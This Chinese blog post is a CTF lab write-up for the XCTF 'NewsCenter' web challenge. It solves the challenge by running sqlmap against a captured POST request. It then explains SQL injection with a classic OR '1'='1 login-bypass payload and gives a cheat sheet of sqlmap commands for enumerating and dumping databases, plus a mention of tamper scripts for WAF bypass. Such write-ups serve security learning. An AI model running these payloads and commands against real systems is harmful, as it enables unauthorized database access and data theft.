XCTF攻防世界web进阶练习_ 1_NewsCenter
XCTF攻防世界web进阶练习—NewsCenter
题目
题目是NewsCenter,没有提示信息。
打开题目,有一处搜索框,搜索新闻。考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有什么变化,考虑SQL注入。
随便输入123,用burp抓包,发现是post方式,因为sql注入技术太菜,直接用sqlmap爆破。
将http头保存为1.txt,试试用sqlmap爆数据库
sqlmap -r 1.txt -dbs
很快,爆出数据库
查看news数据库内容
sqlmap -r 1.txt -D news --dump
得到flag!
关于用sqlmap实现sql注入
sql注入
维基百科:
SQL注入(英语:SQLnjection),也称SQL注入或SQL注码, 是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。
简言之,就是利用客户端对输入语句的检查或过滤不严,输入恶意sql语句,让客户端执行自己想要执行的语句,从而达到自己的目的
最简单的SQL注入例子:
假如某个网站的登录验证的SQL查询代码为
strSQL = " SELECT * FROM users WHERE (name = '$_GET["name"]') and (pw = '$_GET["pw"]'); "
恶意填入
?name = "1' OR '1'='1"& pw = "1' OR '1'='1";
时,将导致原本的SQL字符串被填为
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
也就是实际上运行的SQL命令会变成下面这样的
strSQL = "SELECT * FROM users;"
因此达到无账号密码,亦可登录网站。所以SQL注入被俗称为黑客的填空游戏。
当然,实际的sql注入肯定没这么简单
sql注入有很多方法,根据应用程序处理数据库返回内容的不同,可以分为可显注入、报错注入和盲注等
参考:https://www.geek-share.com/detail/2731913060.html
sqlmap
简单介绍:
sqlmap是一个开源软件,用于检测和利用数据库漏洞,并提供将恶意代码注入其中的选项。
它是一种渗透测试工具,可自动检测和利用SQL注入漏洞,在终端中提供其用户界面。
该软件在命令行运行,可供不同操作系统下载:Linux发行版,Windows和Mac OS操作系统。
除了映射和检测漏洞之外,该软件还可以访问数据库,编辑和删除数据,以及查看表格中的数据,例如用户,密码,备份,电话号码,电子邮件地址,信用卡和其他机密和敏感信息。
sqlmap完全支持多个DBMS,包括MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird和SAP MaxDB。
并全面支持所有注入技术:布尔值,错误,堆栈,时间,联盟。
使用
根据sqlmap手册,分为
- Options(选项)
- Target(目标)
- Request(请求)
- Optimization(优化)
- Injection(注入)
- Detection(检测)
- Techniques(技巧)
- Fingerprint(指纹)
- Enumeration(枚举)
- Brute force(暴力破解)
- User-defined function injection(用户自定义函数注入)
- File system access(访问文件系统)
- Operating system access(操作系统访问)
- Windows注册表访问
- General(一般)
- Miscellaneous(杂项) 等多个部分,可见,sqlmap是一个非常强大的工具
常用的SQLmap语句:
sqlmap -u "注入地址" --dbs // 列举数据库 sqlmap -u "注入地址" --tables -D "数据库" // 列举数据库的表名 sqlmap -u "注入地址" --columns -T "表名" -D "数据库" // 获取表的列名 sqlmap -u "注入地址" --dump -C "字段,字段" -T "表名" -D "数据库" // 获取表中的所有数据 sqlmap -r "含http头的文件" --dbs // 列举数据库 sqlmap -r "含http头的文件" --tables -D "数据库" // 列举数据库的表名 sqlmap -r "含http头的文件" --columns -T "表名" -D "数据库" // 获取表的列名 sqlmap -r "含http头的文件" --dump -C "字段,字段" -T "表名" -D "数据库" // 获取表中的所有数据
参考:http://zerlong.com/512.html
sqlmap还提供了 -tamper 选项,其中有大量脚本,可以用来花式绕waf
- XCTF攻防世界web进阶练习_ 5_mfw
- XCTF攻防世界web进阶练习_ 2_lottery
- XCTF攻防世界web进阶练习_ 3_unserialize3
- XCTF攻防世界web进阶练习_ 4_upload
- XCTF-攻防世界-新手训练-12-maze
- ctfWeb攻防----天下武功为快不破
- Java Web进阶步骤
- 犯罪分子日益狡猾 Web 2.0世界危机四伏
- 【Web前端】慕课网—JavaScript进阶篇8-17编程练习
- 阿里巴巴 web前端性能优化进阶路
- Web 前端攻防(2014版)
- python3.5进阶(四)------------web服务器(正则,HTTP)
- JavaWeb-17 (JDBC编程进阶2)
- Zee的LR脚本练习二:循环打印web_reg_save_param保存的参数
- System.Web.Routing入门及进阶(上篇)
- 【android进阶】Fragment内放置WebView,监听返回键,并返回之前打开的网页
- HTML5将重塑Web世界?
- System.Web.Routing入门及进阶 第一篇
- Web前端开发练习-地图
- Web攻防之XSS,CSRF,SQL注入